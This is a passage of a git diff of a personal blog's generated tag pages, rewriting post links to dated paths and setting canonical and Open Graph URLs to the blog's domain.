     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
+        <p class="article-headline-p"><a href="/2018/01/22/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/用vue撸一个二手商城.html" target="_self">阅读全文</a>
+            <a href="/2018/01/22/用vue撸一个二手商城.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/兼容性/index.html b/public/tags/兼容性/index.html
index 4571709..5fda9e7 100644
--- a/public/tags/兼容性/index.html
+++ b/public/tags/兼容性/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/兼容性/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/兼容性/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/兼容性/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/兼容性/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 兼容性 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/兼容性/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/兼容性/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/常见的兼容性问题.html">常见的兼容性问题</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/常见的兼容性问题.html">常见的兼容性问题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/常见的兼容性问题.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/常见的兼容性问题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/前端/index.html b/public/tags/前端/index.html
index d3a5984..8123756 100644
--- a/public/tags/前端/index.html
+++ b/public/tags/前端/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/前端/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/前端/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/前端/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/前端/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 前端 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/前端/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/前端/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/常见的兼容性问题.html">常见的兼容性问题</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/常见的兼容性问题.html">常见的兼容性问题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/常见的兼容性问题.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/常见的兼容性问题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/前端规划/index.html b/public/tags/前端规划/index.html
index b0250d5..76d3d83 100644
--- a/public/tags/前端规划/index.html
+++ b/public/tags/前端规划/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/前端规划/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/前端规划/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/前端规划/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/前端规划/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 前端规划 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/前端规划/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/前端规划/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端的职业路线.html">前端的职业路线</a></p>
+        <p class="article-headline-p"><a href="/2017/03/19/前端的职业路线.html">前端的职业路线</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端的职业路线.html" target="_self">阅读全文</a>
+            <a href="/2017/03/19/前端的职业路线.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/即兴原理/index.html b/public/tags/即兴原理/index.html
index eed529d..edb42bd 100644
--- a/public/tags/即兴原理/index.html
+++ b/public/tags/即兴原理/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/即兴原理/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/即兴原理/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/即兴原理/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/即兴原理/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 即兴原理 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/即兴原理/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/即兴原理/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/电吉他即兴原理.html">电吉他即兴原理</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/电吉他即兴原理.html">电吉他即兴原理</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/电吉他即兴原理.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/电吉他即兴原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/古典/index.html b/public/tags/古典/index.html
index da0ce6e..e36864a 100644
--- a/public/tags/古典/index.html
+++ b/public/tags/古典/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/古典/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/古典/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/古典/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/古典/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 古典 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/古典/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/古典/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/梦中的婚礼.html">梦中的婚礼</a></p>
+        <p class="article-headline-p"><a href="/2016/08/15/梦中的婚礼.html">梦中的婚礼</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/梦中的婚礼.html" target="_self">阅读全文</a>
+            <a href="/2016/08/15/梦中的婚礼.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/同步/index.html b/public/tags/同步/index.html
index f24290b..9edffd4 100644
--- a/public/tags/同步/index.html
+++ b/public/tags/同步/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/同步/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/同步/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/同步/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/同步/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 同步 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/同步/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/同步/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sync-和async.html">sync 和async</a></p>
+        <p class="article-headline-p"><a href="/2017/07/21/sync-和async.html">sync 和async</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sync-和async.html" target="_self">阅读全文</a>
+            <a href="/2017/07/21/sync-和async.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/哲理/index.html b/public/tags/哲理/index.html
index 406d6e3..0d7f7bf 100644
--- a/public/tags/哲理/index.html
+++ b/public/tags/哲理/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/哲理/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/哲理/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/哲理/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/哲理/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 哲理 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/哲理/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/哲理/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -439,7 +439,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/董思阳的忠告.html">董思阳的忠告</a></p>
+        <p class="article-headline-p"><a href="/2017/10/19/董思阳的忠告.html">董思阳的忠告</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -449,7 +449,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/董思阳的忠告.html" target="_self">阅读全文</a>
+            <a href="/2017/10/19/董思阳的忠告.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -500,7 +500,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
+        <p class="article-headline-p"><a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -510,7 +510,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
+            <a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -561,7 +561,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/关于罗永浩.html">关于罗永浩</a></p>
+        <p class="article-headline-p"><a href="/2017/07/23/关于罗永浩.html">关于罗永浩</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -571,7 +571,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/关于罗永浩.html" target="_self">阅读全文</a>
+            <a href="/2017/07/23/关于罗永浩.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/圣杯/index.html b/public/tags/圣杯/index.html
index 861f70e..950538f 100644
--- a/public/tags/圣杯/index.html
+++ b/public/tags/圣杯/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/圣杯/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/圣杯/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/圣杯/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/圣杯/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 圣杯 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/圣杯/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/圣杯/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/四种常见的布局.html">四种常见的布局</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/四种常见的布局.html">四种常见的布局</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/四种常见的布局.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/四种常见的布局.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/布局/index.html b/public/tags/布局/index.html
index a801085..3638340 100644
--- a/public/tags/布局/index.html
+++ b/public/tags/布局/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/布局/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/布局/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/布局/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/布局/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 布局 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/布局/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/布局/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
